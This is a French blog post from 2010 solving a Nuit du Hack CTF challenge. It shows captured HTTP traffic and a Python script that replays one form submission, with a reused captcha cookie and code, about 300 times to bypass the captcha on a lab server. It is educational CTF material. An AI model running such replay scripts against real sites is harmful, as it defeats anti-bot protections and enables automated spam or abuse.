dimanche 20 juin 2010

tutoriel bypass Captcha - attaque par rejeu - solution CTF public nuit du hack 2010 captcha #1

Un captcha est une image contenant du texte à reproduire au clavier par l'utilisateur. Elle protège les formulaires Web des remplissages automatiques par bots.
Cet article illustre une vulnérabilité classique des captcha: l'attaque par rejeu. Elle consiste à rejouer les paramètres d'un échange http précédent pour contourner l'utilisation du captcha.
Ce tutoriel propose une solution pour l'épreuve Captcha #1 du capture the flag (CTF) public de la Nuit du hack 2010.

outils

- python
- module firefox live http headers - https://addons.mozilla.org/fr/firefox/addon/3829/

l'épreuve

Le formulaire ressemble à:



étude

quatre ou cinq essais plus tard, nous constatons que les captcha ne suivent pas une logique évidente.

Utilisons live http headers pour voir les échanges http:

    http://192.168.100.251/epreuves/5XjZSN72l1/
   
    GET /epreuves/5XjZSN72l1/ HTTP/1.1
    Host: 192.168.100.251
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Connection: keep-alive
    Cookie: security_code=db7403056d3838dac7b660859a5f31bf; PHPSESSID=qhrnnunceap0j6atmff8p6v3m5
   
    HTTP/1.1 200 OK
    Date: Thu, 17 Jun 2010 08:48:21 GMT
    Server: Apache/2.2.15
    X-Powered-By: PHP/5.2.6-1+lenny8
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Vary: Accept-Encoding
    Content-Encoding: gzip
    Content-Length: 376
    Keep-Alive: timeout=15, max=197
    Connection: Keep-Alive
    Content-Type: text/html
    ----------------------------------------------------------
    http://192.168.100.251/epreuves/5XjZSN72l1/image.php
   
    GET /epreuves/5XjZSN72l1/image.php HTTP/1.1
    Host: 192.168.100.251
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3
    Accept: image/png,image/*;q=0.8,*/*;q=0.5
    Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Connection: keep-alive
    Referer: http://192.168.100.251/epreuves/5XjZSN72l1/
    Cookie: security_code=db7403056d3838dac7b660859a5f31bf; PHPSESSID=qhrnnunceap0j6atmff8p6v3m5
   
    HTTP/1.1 200 OK
    Date: Thu, 17 Jun 2010 08:48:22 GMT
    Server: Apache/2.2.15
    X-Powered-By: PHP/5.2.6-1+lenny8
    Set-Cookie: security_code=0df58bbebae948980ccf90e04f7e77d1
    Content-Length: 2240
    Keep-Alive: timeout=15, max=196
    Connection: Keep-Alive
    Content-Type: image/jpeg
    ----------------------------------------------------------
    http://192.168.100.251/epreuves/5XjZSN72l1/
   
    POST /epreuves/5XjZSN72l1/ HTTP/1.1
    Host: 192.168.100.251
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Connection: keep-alive
    Referer: http://192.168.100.251/epreuves/5XjZSN72l1/
    Cookie: security_code=0df58bbebae948980ccf90e04f7e77d1; PHPSESSID=qhrnnunceap0j6atmff8p6v3m5
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 61
    prenom=prenom&nom=nom&adresse=adresse&ville=ville&code=t7xwgj
    HTTP/1.1 200 OK
    Date: Thu, 17 Jun 2010 08:48:49 GMT
    Server: Apache/2.2.15
    X-Powered-By: PHP/5.2.6-1+lenny8
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Pragma: no-cache
    Vary: Accept-Encoding
    Content-Encoding: gzip
    Content-Length: 99
    Keep-Alive: timeout=15, max=200
    Connection: Keep-Alive
    Content-Type: text/html
    ----------------------------------------------------------
    http://192.168.100.251/favicon.ico
   
    GET /favicon.ico HTTP/1.1
    Host: 192.168.100.251
    User-Agent: Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.9.2.3) Gecko/20100423 Ubuntu/10.04 (lucid) Firefox/3.6.3
    Accept: image/png,image/*;q=0.8,*/*;q=0.5
    Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3
    Accept-Encoding: gzip,deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Connection: keep-alive
    Cookie: PHPSESSID=qhrnnunceap0j6atmff8p6v3m5
   
    HTTP/1.1 404 Not Found
    Date: Thu, 17 Jun 2010 08:48:49 GMT
    Server: Apache/2.2.15
    Vary: Accept-Encoding
    Content-Encoding: gzip
    Content-Length: 183
    Keep-Alive: timeout=15, max=199
    Connection: Keep-Alive
    Content-Type: text/html; charset=iso-8859-1
    ----------------------------------------------------------

Avec http live headers, sélectionnons notre réponse et cliquons sur "rejouer". Nous obtenons une inscription supplémentaire. Le rejeu fonctionne!

Nous remarquons de plus l'utilisation de:
- un cookie de session PHP,
- un cookie security_code envoyé avec le formulaire et renvoyé avec la réponse.

solution

Nous allons effectuer 300 requêtes, en utilisant systématiquement le cookie de session PHP et le même security_code.
Construisons notre script python:

    import httplib, urllib

    site = '192.168.100.251'
    page = '/epreuves/5XjZSN72l1/'
    content_type = 'text/html'
    h = httplib.HTTP(site)
    data = ''
    i = 0
    params = {
        'prenom':'prenom',
        'nom':'nom',
        'adresse':'adresse',
        'ville':'ville',
        'code':'t7xwgj',
    }
    body = urllib.urlencode(params)

    while i<=301:
      h.putrequest('POST',page)
      h.putheader('Host', site)
      h.putheader('Accept',content_type)
      h.putheader('Cookie','security_code=0df58bbebae948980ccf90e04f7e77d1; PHPSESSID=5vld8u373m9nkqr825frtnuu86;')
      h.putheader('Content-Type','application/x-www-form-urlencoded')
      h.putheader('Content-Length', "%d" % len(body))
      h.endheaders()
      h.send(body)
      reponse,msg,entete = h.getreply()
      data = data + "\n" + str(i) + str(entete) + h.getfile().read()
      i = i+1

    print data

1 commentaire: